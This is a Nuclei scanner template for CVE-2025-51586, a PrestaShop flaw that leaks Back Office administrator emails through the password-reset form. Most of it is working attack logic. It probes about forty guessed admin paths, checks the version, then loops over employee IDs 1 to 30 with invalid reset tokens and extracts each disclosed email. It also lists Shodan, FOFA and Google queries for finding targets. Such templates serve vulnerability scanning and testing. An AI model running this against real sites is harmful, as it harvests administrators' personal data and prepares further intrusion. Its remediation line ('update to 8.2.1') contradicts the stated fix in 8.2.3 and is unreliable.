id: CVE-2025-51586 info: name: PrestaShop - Information Disclosure author: mastercho severity: medium description: | User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3. impact: | Attackers can gain sensitive information via the reset password feature, potentially leading to further attacks. remediation: | Update to version 8.2.1 or later. reference: - https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md - https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html - https://nvd.nist.gov/vuln/detail/CVE-2025-51586 classification: cwe-id: CWE-359 metadata: verified: true vendor: prestashop product: prestashop shodan-query: - http.component:"prestashop" - cpe:"cpe:2.3:a:prestashop:prestashop" - http.title:"prestashop" fofa-query: title="prestashop" google-query: intitle:"prestashop" tags: prestashop,panel,login,intrusive,cve variables: token: "{{rand_base(32)}}" token2: "{{rand_base(32)}}" flow: | // 1) Run panel detection on all common admin paths http(1); // 2) Unwrap matchedpath (extractors return a list in flow) var path = ""; if (template["matchedpath"] && template["matchedpath"].length) { for (let p of iterate(template["matchedpath"])) { path = p; break; // use first detected admin path } } // Fallback: body regex may not match on all installs, but the matched payload is always known if (!path && template["paths"]) { path = template["paths"]; } // 3) Unwrap version (first extracted value) var v = ""; if (template["version"] && template["version"].length) { for (let ver of iterate(template["version"])) { v = ver; break; } } // 4) JS version check: vulnerable if version < 8.2.3 function isVulnerable(ver) { if (!ver) return true; // unknown version -> still test var parts = (ver + "").split("."); var M = parseInt(parts[0] || "0", 10); var m = parseInt(parts[1] || "0", 10); var p = parseInt(parts[2] || "0", 10); if (M < 8) return true; if (M > 8) return false; if (m < 2) return true; if (m > 2) return false; return p < 3; // 8.2.0–8.2.2 are vuln; 8.2.3+ are not } // 5) Only execute http(2) if we have a path AND the version is vulnerable // Loop manually so nuclei doesn't stop iterating after the first payload match if (path && isVulnerable(v)) { set("matchedpath", path); for (let i = 1; i <= 30; i++) { set("emp_id", String(i)); http(2); } } http: - id: detect-panel method: GET path: - '{{BaseURL}}/{{paths}}/' payloads: paths: - 'backoffice' - 'back-office' - 'Backoffice' - 'admin-dev' - 'backend' - 'admin_' - 'mikromanage' - 'manage' - 'manager' - 'adminshop' - 'administrator' - 'administracja' - 'adm' - 'webadmin' - 'admin-web' - 'kontrollpanel' - 'amministra' - 'adminas' - 'admin123' - 'admin0' - 'adminxx' - 'admin' - 'ps-admin' - 'admins' - 'p-office' - 'admin333' - 'admin4444' - 'admin66' - 'backadmin' - 'admin1' - 'BackofficeNEW' - '4dm1n' - 'administrazione' - 'accesadministrateur' - '_admin123' - 'iadmin' - 'panel' - 'admin-prestashop' - 'admin17' - 'admin8' - 'admin81' host-redirects: true max-redirects: 3 extractors: - type: regex name: matchedpath part: body group: 1 internal: true regex: - 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/' - type: regex name: version part: body internal: true group: 1 regex: - 'login\.js\?v=([0-9.]+)' stop-at-first-match: true matchers-condition: or matchers: - type: word part: body words: - 'PrestaShop' - 'class="show-forgot-password' condition: and - type: word part: body words: - 'themes/default/css/admin-theme.css' - 'class="show-forgot-password' condition: and - id: generate-token method: GET path: - '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{emp_id}}&reset_token={{token2}}' extractors: - type: regex name: reset-email part: body group: 1 regex: - ']*name="reset_email"[^>]*value="([^"]+)"' - ']*value="([^"@]+@[^"]+)"[^>]*name="reset_email"' matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - 'AdminLogin' - 'PrestaShop' - type: regex part: body regex: - ']*name="reset_email"[^>]*value="([^"]+)"' - ']*value="[^"@]+@[^"]+"[^>]*name="reset_email"' condition: or # digest: 4a0a0047304502200324c2a0be715f25bd07cd3e7c48e64bd6ed38b9972e24380111ae9f01754a47022100d50e0474daf597bd19dd790355ffda1121a9e1b8418ae8acd74d5a24492c1d89:922c64590222798bb761d5b6d8e72950